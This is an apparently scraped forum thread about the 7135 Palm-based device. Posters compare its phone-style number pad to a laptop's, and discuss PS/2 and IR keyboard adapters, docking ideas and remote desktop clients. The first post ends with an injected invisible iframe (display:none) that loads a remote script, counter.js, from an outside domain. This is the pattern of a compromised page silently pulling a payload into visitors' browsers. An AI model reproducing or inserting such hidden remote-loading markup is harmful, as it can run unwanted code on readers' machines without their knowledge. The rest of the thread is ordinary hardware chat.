OK - I have been a laptop user for a long time, and although the 7135 can't replace all the features on a laptop it comes closer than many prior palm based platforms- Here's just ONE reason why:

Most of the portable keyboards for PDA's have the standard QWERTY keyboard layout, similar to a laptop....



however....
:thinkerg
Almost ALL Laptops do not have a 10-key! The 7135 with it's keyboard will have BOTH, albeit somewhat a small 10 key!:clap

This is GREAT news for those who use Excel spreadsheets or simmilar database entry apps on thier Palms! (be even cooler if somebody makes an atachable thumboard for the 7135)

Its been awhile since I've heard any cool news from our fine 7135 tester people so I figured it would be nice to hear some more praise about the 7135's features.

Does anybody else see :eyesscan a benefit of the 7135 they wish to dream about?<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Yep... with the 7135, the keyboard, Quickoffice, and a few other apps the 7135 can pretty much do anything a laptop can do... at least for my purposes. It can actually do quite a few things most laptops can't do... unless they are equipped with a wireless modem card. With the 7135 I can get work done from anywhere and e-mail attachments back to the office. When they come out with a Citrix metaframe client for the Palm OS I'll really be in business :clap

If I had to choose between having a laptop with me at all times (but no phone) or the 7135, that would be an easy choice to make! And the beauty of the 7135 is that it is so portable you can forget you have it until you need it :drink1

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What's a "10" key?

The 10-key is the phonepad - on a normal 101 Keyboard the 10-key is the number keys on the right:

789
456
123
0

The 7135 however will have a phone style 10-key:

123
456
789
*0#

Still better than no 10-key!

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Gotcha. I never heard a keyboard's number pad called that before. Maybe it's regional. :alieneyes

I think Gellman said it was difficult to use the 7135 keys to enter numbers in a Palm App (vs Dialer App). That's because you have to press pound (#) to change to number mode, and you only have a split second before it changes back to letter mode. Gellman or Hotsync, can you verify? I do hope there's a way to lock it in number mode.

Wouldn't it be great to have an adapter cable to go from the 7135 to a standard PS2 keyboard?

It could even have a battery (9V ?) powersupply of its own.

Now THAT would be handy!!

But only if you can keep the keyboard in one place and leave it there.... the beauty of the Think Outside keyboard for the 7135 is that it folds up into a compact size.

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A while ago I asked Syncable solutions about a PS2 adapter. They said it would be expensive, probably upwards of $100. I'm not going that route.

Jeez... that's a lot of $$$ for a little adapter... is it a custom job or something?

Another drawback to the full size keyboard (unless designed specifically for the 7135) is that it wouldn't have all of the special function button to access 7135 features (like e-mail, web, etc.). Plus, it would only make sense to use it on a flat surface... and the 7135 keyboard is a full size keyboard that feels about as nice as a regular keyboard when it's sitting on a flat surface. I have the same keyboard (for the Palm Vx) and it feels great.

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How about a docking station with LCD monitor rotated 90 degrees, keyboard, mouse, and multiple SD slots in the keyboard?

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David

I have thought about the docking station idea myself. It would be pretty sweet. But it seems like you would almost have to be someone who doesn't have a computer. I mean, where would you keep the docking station where there wouldn't be a computer available?

If it was a really tiny port replicator that might be cool since you could hijack peripherals anywhere you happen to be

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Well you could come close by getting the SDIO -> VGA adapter from Margi.com (comes with a IR remote for presentations too)

http://www.margi.com/pdfs/sd_palm_specsheet.pdf


and an IR keyboard adapter from PDApex.com (which also aparently has a charger and can be a "Programmable TV/VCR remote controle" :conf

http://www.pdapex.com/eg/index.htm


Both of those would hook up to a standard monitor and keyboard and you could still use the cradle for syncing & net surfing, charging, etc.

hmmm..
(That IR keyboard adapter makes me wonder-- With a lilttle software couldnt somebody get existing IR keyboards and maybe even Mouses to work on a Palm device?)
:thinkerg

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That was earlier firmware. My current test unit stays in number mode when you press the # key. I still prefer TapPad (the hack and overlay) for numbers entry.

Semi-custom. But $99 is bull.

The only such adapter I've seen for any Palm (other than homebrew units using PIC microcontrollers or AVRs) was the Palm III-specific Happy Hacking cradle from Pfuca.

It's not just a "dumb" adapter, some electronics are needed. But a $8 AVR CPU can handle it easily. (And probably any cheaper one. Any AVR or PIC with both an onboard UART and an external interrupt pin should have no problem. Well, maybe a 1 MHz PIC might have issues.) An 8 MHz AT90S8515 has no trouble whatsoever doing PS2/serial, but the 8515 is huge (40-pin DIP) and massive overkill. The 1200 prolly isn't sufficient, but a 2313 might be. Can't remember if it has a UART. (If it does it'll work)

Atmel has an app note with full source code for a PS/2-serial converter, and I also have source for a rudimentary converter I wrote as a part of my Microcontrollers final project last year. (Mine only does A-Z caps, return, and backspace at the moment, but it's easy to add more scancodes.)

The PDApex IR Keyboard adapter is estimated to be only $55 - I found a review about it on palminfocenter.com

http://www.palminfocenter.com/view_Story.asp?ID=2387

Seems pretty cool, however its obviously not a mobile solution - unless you don't have a PC at home and want a "mini" office.

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Do you know if they have released, or are planning on releasing a Citrix metaframe client for the Palm OS?

I stopped looking about a year ago when I changed jobs. Now I can connect directly to my desktop using PalmVNC (and someday I'll take the time to configure a VPN client so I can access the entire network).

Did you check out the Citrix website?

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